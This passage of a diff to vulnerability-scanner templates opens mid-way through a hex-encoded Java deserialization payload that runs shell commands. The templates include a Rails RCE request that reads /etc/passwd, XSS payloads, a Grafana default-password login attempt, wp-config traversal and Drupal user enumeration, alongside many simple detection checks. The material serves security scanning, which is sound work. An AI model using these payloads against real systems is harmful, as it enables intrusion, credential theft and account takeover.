28293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
+    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "nonexistent:1337"
-        part: body
+          - "Microsoft Corporation"
+          - "Distributor ID"
+          - "kern.ostype"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "Microsoft Windows (.*)"
+          - "kern.ostype: (.*)"
+          - "Distributor ID: (.*)"
@@ -0,0 +1,22 @@
+id: CVE-2020-8163
+
+info:
+  name: Potential Remote Code Execution on Rails
+  author: tim_koopmans
+  severity: high
+  description: Tests for ability to pass user parameters as local variables into partials
+  # reference: https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -4,6 +4,7 @@ info:
  name: IceWarp WebMail XSS
  author: pdnuclei & dwisiswant0
  severity: medium
+  description: In IceWarp Webmail Server through 11.4.4.1, there is XSS in the /webmail/ color parameter.

 # source:- https://www.exploit-db.com/exploits/47988
 # https://twitter.com/sagaryadav8742/status/1275170967527006208
@@ -11,14 +12,14 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"'
-      - '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"'
+      - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
+      - '{{BaseURL}}:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "<svg/onload=alert(document.domain)>\"\">"
+          - "<svg/onload=alert(document.domain)>"
        part: body
      - type: status
        status:
-          - 200
+          - 200
@@ -4,6 +4,7 @@ info:
  name: Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read
  author: dwisiswant0
  severity: high
+  description: An unauthenticated arbitrary file read issue exists in all versions of Citrix ShareFile StorageZones (aka storage zones) Controller, including the most recent 5.10.x releases as of May 2020.

 requests:
  - method: GET
@@ -20,4 +21,4 @@ requests:
          - "fonts"
          - "extensions"
        condition: and
-        part: body
+        part: body
@@ -4,6 +4,7 @@ info:
  name: Apache Tomcat RCE by deserialization
  author: dwisiswant0
  severity: high
+  description: Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server

 requests:
  - method: GET
@@ -23,4 +24,4 @@ requests:
          - "ObjectInputStream"
          - "PersistentManagerBase"
        condition: and
-        part: body
+        part: body
@@ -0,0 +1,57 @@
+id: CVE-2020-9496
+
+info:
+  name: Apache OFBiz XML-RPC Java Deserialization
+  author: dwisiswant0
+  severity: medium
+  description: XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03
+
+
+  # This temaplte detects a Java deserialization vulnerability in Apache
+  # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
+  # versions prior to 17.12.04.
+  # --
+  # References:
+  # - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}
+        Origin: http://{{Hostname}}
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8080
+        Origin: http://{{Hostname}}:8080
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8443
+        Origin: https://{{Hostname}}:8443
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "faultString"
+          - "No such service [ProjectDiscovery]"
+          - "methodResponse"
+        condition: and
+        part: body
+      - type: word
+        words:
+          - "Content-Type: text/xml"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -4,6 +4,7 @@ info:
  name: SEOmatic < 3.3.0 Server-Side Template Injection
  author: dwisiswant0
  severity: high
+  description: The SEOmatic component before 3.3.0 for Craft CMS allows Server-Side Template Injection that leads to RCE via malformed data to the metacontainers controller.

 requests:
  - method: GET
@@ -0,0 +1,60 @@
+id: grafana-default-credential
+info:
+  name: Grafana Default Credentials Check
+  author: pdteam
+  severity: high
+
+requests:
+  # https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
+  # https://github.com/grafana/grafana/issues/14755
+  # Grafana blocks for 5 minutes after 5 "Invalid" attempts for valid user.
+  # So make sure, not to attempt more than 4 password for same valid user.
+
+  - payloads:
+
+      # grafana_username:
+      #  - admin
+
+      grafana_password:
+        - prom-operator
+        - admin
+
+    # Added default grafana and prometheus user.
+    # Source:- https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page
+
+    attack: sniper
+
+    # Available types: sniper, pitchfork and clusterbomb
+
+    raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+        content-type: application/json
+        Connection: close
+
+        {"user":"admin","password":"grafana_password"}
+
+     # grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - grafana_session
+        part: header
+        # Check for 'grafana_session' cookie on valid login in the response header.
+
+      - type: word
+        words:
+          - Logged in
+        part: body
+        # Check for valid string on valid login.
+
+      - type: status
+        status:
+          - 200
@@ -3,7 +3,7 @@ id: rabbitmq-default-admin
 info:
  name: RabbitMQ Default Credentials
  author: fyoorer & dwisiswant0
-  severity: High
+  severity: high

 requests:
  - method: GET
@@ -1,6 +1,6 @@
-id: tomcat-manager-bruteforce
+id: tomcat-manager-default
 info:
-  name: tomcat-manager-bruteforce-fuzzing
+  name: tomcat-manager-default-password
  author: pdteam
  severity: high

@@ -18,9 +18,6 @@ requests:
        - 12345
        - 123456

-
-    # Make sure you have your wordlist on the defind path.
-
    attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb

    raw:
@@ -1,15 +0,0 @@
-id: debug-pprof
-
-info:
-  name: pprof debug file
-  author: pdteam
-  severity: low
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/debug/pprof/"
-    matchers:
-      - type: word
-        words:
-          - "Types of profiles available"
@@ -0,0 +1,20 @@
+id: druid-monitor
+info:
+  name: Druid Monitor Unauthorized Access
+  author: 0h1in9e @ohlinge
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/druid/index.html"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Druid Stat Index</title>'
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,30 @@
+id: ds-store-file
+
+info:
+  name: Dirctory Listing via DS_Store
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.DS_Store"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "\x00@\x00"
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Accept-Ranges: bytes"
+          - "octet-stream"
+        condition: or
+        part: header
@@ -0,0 +1,43 @@
+id: error-logs
+info:
+  name: common error log files
+  author: geeknik
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/logs/error.log"
+      - "{{BaseURL}}/logs/errors.log"
+      - "{{BaseURL}}/log/error.log"
+      - "{{BaseURL}}/log/errors.log"
+      - "{{BaseURL}}/errors/errors.log"
+      - "{{BaseURL}}/error/error.log"
+      - "{{BaseURL}}/errors.log"
+      - "{{BaseURL}}/error.log"
+      - "{{BaseURL}}/error.txt"
+      - "{{BaseURL}}/errors.txt"
+      - "{{BaseURL}}/admin/logs/error.log"
+      - "{{BaseURL}}/admin/logs/errors.log"
+      - "{{BaseURL}}/admin/log/error.log"
+      - "{{BaseURL}}/admin/logs/errors.log"
+      - "{{BaseURL}}/admin/error.log"
+      - "{{BaseURL}}/admin/errors.log"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Segmentation Fault"
+          - "coredump"
+          - "script headers"
+          - "Broken pipe"
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -2,15 +2,24 @@ id: git-config

 info:
  name: Git Config Disclosure
-  author: Ice3man
+  author: Ice3man & pikpikcu
  severity: medium
  description: Searches for the pattern /.git/config on passed URLs.

 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.git/config"
+  - raw:
+      - |
+        GET /.git/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 1
+        Connection: close
+
    matchers:
      - type: word
        words:
-          - "[core]"
+          - "[core]"
@@ -0,0 +1,24 @@
+id: robots-txt
+info:
+  name: robots.txt file
+  author: CasperGN
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/robots.txt"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Disallow:"
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -4,6 +4,7 @@ info:
  name: Security.txt File
  author: bad5ect0r
  severity: info
+  description: The website defines a security policy.

 requests:
  - method: GET
@@ -12,4 +12,4 @@ requests:
    matchers:
      - type: word
        words:
-          - "RadAsyncUpload handler is registered successfully"
+          - "RadAsyncUpload handler is registered succesfully"
@@ -10,9 +10,14 @@ requests:
    path:
      - "{{BaseURL}}/examples/servlets/index.html"
      - "{{BaseURL}}/examples/jsp/index.html"
+      - "{{BaseURL}}/examples/websocket/index.xhtml"
+      - "{{BaseURL}}/..;/examples/servlets/index.html"
+      - "{{BaseURL}}/..;/examples/jsp/index.html"
+      - "{{BaseURL}}/..;/examples/websocket/index.xhtml"
    matchers:
      - type: word
        words:
          - "JSP Examples"
          - "JSP Samples"
          - "Servlets Examples"
+          - "WebSocket Examples"
@@ -5,6 +5,10 @@ info:
  author: 0xrudra & manuelbua
  severity: info

+  # References:
+  # - https://github.com/dwisiswant0/wadl-dumper
+  # - https://www.nopsec.com/leveraging-exposed-wadl-xml-in-burp-suite/
+
 requests:
  - method: GET
    path:
@@ -0,0 +1,26 @@
+id: wp-debug-log
+
+info:
+  name: WordPress debug log
+  author: geraldino2 & @dwisiswant0
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/debug.log"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - octet-stream
+          - text/plain
+        part: header
+        condition: or
+      - type: regex
+        regex:
+          - "[[0-9]{2}-[a-zA-Z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [A-Z]{3}] PHP"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -9,6 +9,9 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/"
+      - "{{BaseURL}}/wp-content/themes/"
+      - "{{BaseURL}}/wp-content/plugins/"
+      - "{{BaseURL}}/wp-includes/"
    matchers-condition: and
    matchers:
      - type: status
@@ -16,4 +19,4 @@ requests:
          - 200
      - type: word
        words:
-          - Index of /wp-content/uploads
+          - Index of /
@@ -0,0 +1,28 @@
+# id contains the unique identifier for the template.
+id: top-15-xss
+
+info:
+  # Name is the name of the template
+  name: Top 15 XSS Check
+  # Author is the name of the author for the template
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
+  author: foulenzer
+  # Severity is the severity for the template.
+  severity: medium
+  #  Description optionally describes the template.
+  description: Searches for reflected XSS in the server response via GET-requests.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=confirm('testing-xss')>"
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,29 @@
+id: iomega-lenovo-emc-shared-nas.yaml
+
+info:
+  name: Iomega Lenovo EMC with shared NAS
+  author: e_schultze_
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cp/Shares?user=&protocol=webaccess&v=2.3"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"access":"read"'
+          - '"access":"readwrite"'
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "iomega"
+        part: header
@@ -2,7 +2,7 @@ id: jmx-console
 info:
  name: JMX Console
  author: Yash Anand @yashanand155
-  severity: Low
+  severity: low
 requests:
  - method: GET
    path:
@@ -1,16 +0,0 @@
-id: mongo-express-web-gui
-
-info:
-  name: Mongo Express Web GUI
-  author: puzzlepeaches
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "Set-Cookie: mongo-express="
-        part: header
@@ -0,0 +1,27 @@
+id: polycom-admin-detect
+
+info:
+  name: Polycom Admin Panel
+  author: e_schultze_
+  severity: low
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/systemstatus.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "SYSTEMSTATUS"
+        part: body
+
+      - type: word
+        words:
+          - "Server: lighttpd"
+        part: header
@@ -9,6 +9,7 @@ requests:
  - method: GET
    path:
      - '{{BaseURL}}'
+      - "{{BaseURL}}:15672"
    matchers:
      - type: word
        words:
@@ -0,0 +1,16 @@
+id: traefik-dashboard-detect
+
+info:
+  name: Traefik Dashboard
+  author: schniggie
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dashboard/"
+    matchers:
+      - type: word
+        words:
+          - "<meta name=description content=\"Traefik UI\">"
+        part: body
@@ -0,0 +1,20 @@
+id: workspaceone-uem-airwatch-dashboard-detect
+
+info:
+  name: Workspace ONE Unified Endpoint Management (UEM) AirWatch
+  author: hanlaomo
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/AirWatch/Login"
+
+    matchers:
+      - type: word
+        words:
+          - "Workspace"
+          - "Login"
+          - "AirWatch"
+        condition: and
+        part: body
@@ -0,0 +1,34 @@
+id: drupal-user-enum-ajax
+
+info:
+  name: Drupal User Enumration [Ajax]
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/?q=admin/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/?q=views/ajax/autocomplete/user/a"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '(?i)\{\"a'
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - '"[\w \-\_\@\.]+\"'
@@ -0,0 +1,30 @@
+id: drupal-user-enum-redirect
+
+info:
+  name: Drupal User Enumration [Redirect]
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/user/0"
+      - "{{BaseURL}}/user/1"
+      - "{{BaseURL}}/user/2"
+      - "{{BaseURL}}/user/3"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '(?i)Location: http(s|):\/\/[\w\.\-]+(\/ar|\/en|)\/users\/\w+'
+        part: header
+      - type: status
+        status:
+          - 301
+    extractors:
+      - type: regex
+        part: header
+        regex:
+          - 'users\/\w+'
@@ -3,7 +3,7 @@ id: jira-unauthenticated-user-picker
 info:
  name: Jira Unauthenticated User Picker
  author: TechbrunchFR
-  severity: High
+  severity: high

 requests:
  - method: GET
@@ -0,0 +1,21 @@
+id: missing-x-frame-options
+
+info:
+  name: Clickjacking (Missing XFO header)
+  author: kurohost
+  severity: low
+
+  # This is an valid issue "only" when you able to frame authenticated page with poc to make state changing actions.
+  # Without working poc, do not report this.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: dsl
+        dsl:
+          - "!contains(tolower(all_headers), 'x-frame-options')"
@@ -0,0 +1,30 @@
+id: put-method-enabled
+
+info:
+  name: PUT method enabled
+  author: xElkomy
+  severity: high
+
+# https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+
+requests:
+  - raw:
+      - |
+        PUT /testing-put.txt HTTP/1.1
+        Content-Type: text/plain
+
+        testing-payload
+
+      - |
+        GET /testing-put.txt HTTP/1.1
+        Content-Type: text/plain
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - testing-payload
@@ -22,12 +22,10 @@ requests:
      - "{{BaseURL}}/actuator/exportRegisteredServices"
      - "{{BaseURL}}/actuator/features"
      - "{{BaseURL}}/actuator/flyway"
-      - "{{BaseURL}}/actuator/health"
      - "{{BaseURL}}/actuator/healthcheck"
      - "{{BaseURL}}/actuator/heapdump"
      - "{{BaseURL}}/actuator/httptrace"
      - "{{BaseURL}}/actuator/hystrix.stream"
-      - "{{BaseURL}}/actuator/info"
      - "{{BaseURL}}/actuator/integrationgraph"
      - "{{BaseURL}}/actuator/jolokia"
      - "{{BaseURL}}/actuator/liquibase"
@@ -58,10 +56,8 @@ requests:
      - "{{BaseURL}}/configprops"
      - "{{BaseURL}}/dump"
      - "{{BaseURL}}/env"
-      - "{{BaseURL}}/health"
      - "{{BaseURL}}/heapdump"
      - "{{BaseURL}}/hystrix.stream"
-      - "{{BaseURL}}/info"
      - "{{BaseURL}}/jolokia"
      - "{{BaseURL}}/jolokia/list"
      - "{{BaseURL}}:8090/jolokia"
@@ -0,0 +1,26 @@
+id: wordpress-accessible-wpconfig
+info:
+  name: WordPress accessible wp-config
+  author: Kiblyn11 & zomsop82 & madrobot & geeknik
+  severity: high
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-config.php'
+      - '{{BaseURL}}/wp-config-sample.php'
+      - '{{BaseURL}}/wp-config.php.txt'
+      - '{{BaseURL}}/wp-config.php.bak'
+      - '{{BaseURL}}/wp-config.php.old'
+      - '{{BaseURL}}/wp-config-backup.txt'
+      - '{{BaseURL}}/wp-config.php.save'
+      - '{{BaseURL}}/wp-config.php~'
+      - '{{BaseURL}}/wp-config.php.orig'
+      - '{{BaseURL}}/wp-config.php.original'
+      - '{{BaseURL}}/wp-license.php?file=../..//wp-config'
+      - '{{BaseURL}}/_wpeprivate/config.json'
+    matchers:
+      - type: word
+        words:
+          - DB_NAME
+          - WPENGINE_ACCOUNT
+        part: body
@@ -1,18 +0,0 @@
-id: aem-cms-finder
-
-info:
-  name: AEM Finder
-  author: mzack9999
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}"
-    matchers:
-      - type: word
-        words:
-          - "/etc/clientlibs/"
-          - "/content/dam/"
-        part: body
-        condition: or
@@ -0,0 +1,18 @@
+id: artica-web-proxy-detect
+info:
+  name: Artica Web Proxy Detect
+  author: dwisiswant0
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/fw.login.php"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Welcome to the Artica Web Administration Interface"
+      - type: status
+        status:
+          - 200
@@ -1,50 +0,0 @@
-id: content-delivery-network
-
-info:
-  name: Detect content delivery network
-  author: fabaff
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: cloudflare
-        words:
-          - "cloudflare"
-        part: header
-      - type: word
-        name: akamai
-        words:
-          - "AkamaiGHost"
-        part: header
-      - type: word
-        name: sucuri
-        words:
-          - "Sucuri/Cloudproxy"
-        part: header
-      - type: word
-        name: Imperva
-        words:
-          - "X-Iinfo:"
-        part: header
-      - type: word
-        name: ddos-guard
-        words:
-          - "ddos-guard"
-        part: header
-      - type: word
-        name: dosarrest
-        words:
-          - "DOSarrest"
-          - "X-DIS-Request-ID:"
-        part: header
-      - type: word
-        name: arvancloud
-        words:
-          - "ArvanCloud"
-          - "AR-Request-ID:"
-        part: header
@@ -1,19 +0,0 @@
-id: clockwork-php-header
-info:
-  name: Clockwork PHP exposure
-  author: organiccrap
-  severity: high
-  # https://twitter.com/damian_89_/status/1250721398747791360
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/'
-    headers:
-      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
-    matchers:
-      - type: word
-        words:
-          - 'X-Clockwork-Id:'
-          - 'X-Clockwork-Version:'
-        part: header
-        condition: and
@@ -1,28 +0,0 @@
-id: cms-detect
-
-info:
-  name: CMS Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: drupal
-        words:
-          - "X-Drupal"
-          - "x-drupal"
-          - "X-Generator: Drupal"
-        condition: or
-        part: header
-      - type: word
-        name: wordpress
-        words:
-          - "/wp-content/"
-          - "/wp-includes/"
-        condition: or
-        part: body
@@ -0,0 +1,90 @@
+id: favicon-detection
+
+info:
+  name: favicon
+  author: un-fmunozs
+  severity: info
+
+  # 946,0488faca4c19046b94d07c3ee83cf9d6,springboot
+  # 2336,02f4db63a9cfb650c05ffd82956cbfd6,proxmox
+  # 21630,4644f2d45601037b8423d45e13194c93,tomcat
+  # 6518,3e7f8aa6768bba07751fe8570d7a244c,airwatch
+  # 30894,6eb4a43cb64c97f76562af703893c8fd,xampp
+  # 765,e16377344d2d52a15e735041b3eb2c5a,kibana
+  # 17542,e16377344d2d52a15e735041b3eb2c5a,jenkins
+  # 1150,6d2adf39ca320265830403dfc030033a,liferay
+  # 3638,59a0c7b6e4848ccdabcea0636efda02b,blogger
+  # 198,c6acedaff906029fc5455d9ec52c7f42,wordpress
+  # 5430,c291c057816f71ce15ba5c496f1a965a,wordpress
+  # 1611,f7e3d97f404e71d302b3239eef48d5f2,gitlab
+  # 6093,88717398db158e3330ce94fc1784e4a7,jira
+  # 2494,88717398db158e3330ce94fc1784e4a7,jira
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/favicon.ico"
+    redirects: true
+    max-redirects: 3
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        name: springboot
+        dsl:
+          - "len(body)==946 && status_code==200 && (\"0488faca4c19046b94d07c3ee83cf9d6\" == md5(body))"
+      - type: dsl
+        name: proxmox
+        dsl:
+          - "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))"
+      - type: dsl
+        name: tomcat
+        dsl:
+          - "len(body)==21630 && status_code==200 && (\"4644f2d45601037b8423d45e13194c93\" == md5(body))"
+      - type: dsl
+        name: airwatch
+        dsl:
+          - "len(body)==6518 && status_code==200 && (\"3e7f8aa6768bba07751fe8570d7a244c\" == md5(body))"
+      - type: dsl
+        name: blogger
+        dsl:
+          - "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))"
+      - type: dsl
+        name: xampp
+        dsl:
+          - "len(body)==30894 && status_code==200 && (\"6eb4a43cb64c97f76562af703893c8fd\" == md5(body))"
+      - type: dsl
+        name: kibana
+        dsl:
+          - "len(body)==1150 && status_code==200 && (\"e16377344d2d52a15e735041b3eb2c5a\" == md5(body))"
+      - type: dsl
+        name: liferay
+        dsl:
+          - "len(body)==1150 && status_code==200 && (\"6d2adf39ca320265830403dfc030033a\" == md5(body))"
+      - type: dsl
+        name: jenkins
+        dsl:
+          - "len(body)==17542 && status_code==200 && (\"23e8c7bd78e8cd826c5a6073b15068b1\" == md5(body))"
+      - type: dsl
+        name: wordpress
+        dsl:
+          - "len(body)==198 && status_code==200 && (\"c6acedaff906029fc5455d9ec52c7f42\" == md5(body))"
+      - type: dsl
+        name: wordpress
+        dsl:
+          - "len(body)==5430 && status_code==200 && (\"c291c057816f71ce15ba5c496f1a965a\" == md5(body))"
+      - type: dsl
+        name: gitlab
+        dsl:
+          - "len(body)==1611 && status_code==200 && (\"f7e3d97f404e71d302b3239eef48d5f2\" == md5(body))"
+      - type: dsl
+        name: jira
+        dsl:
+          - "len(body)==6093 && status_code==200 && (\"88717398db158e3330ce94fc1784e4a7\" == md5(body))"
+      - type: dsl
+        name: jira
+        dsl:
+          - "len(body)==2494 && status_code==200 && (\"04d89d5b7a290334f5ce37c7e8b6a349\" == md5(body))"
+      - type: dsl
+        name: confluence
+        dsl:
+          - "len(body)==4259 && status_code==200 && (\"966e60f8eb85b7ea43a7b0095f3e2336\" == md5(body))"
@@ -1,4 +1,4 @@
-id: Github-Enterprise-Detect
+id: github-enterprise-detect

 info:
  name: Detect Github Enterprise
@@ -1,4 +1,4 @@
-id: Gitlab-Detect
+id: gitlab-detect

 info:
  name: Detect Gitlab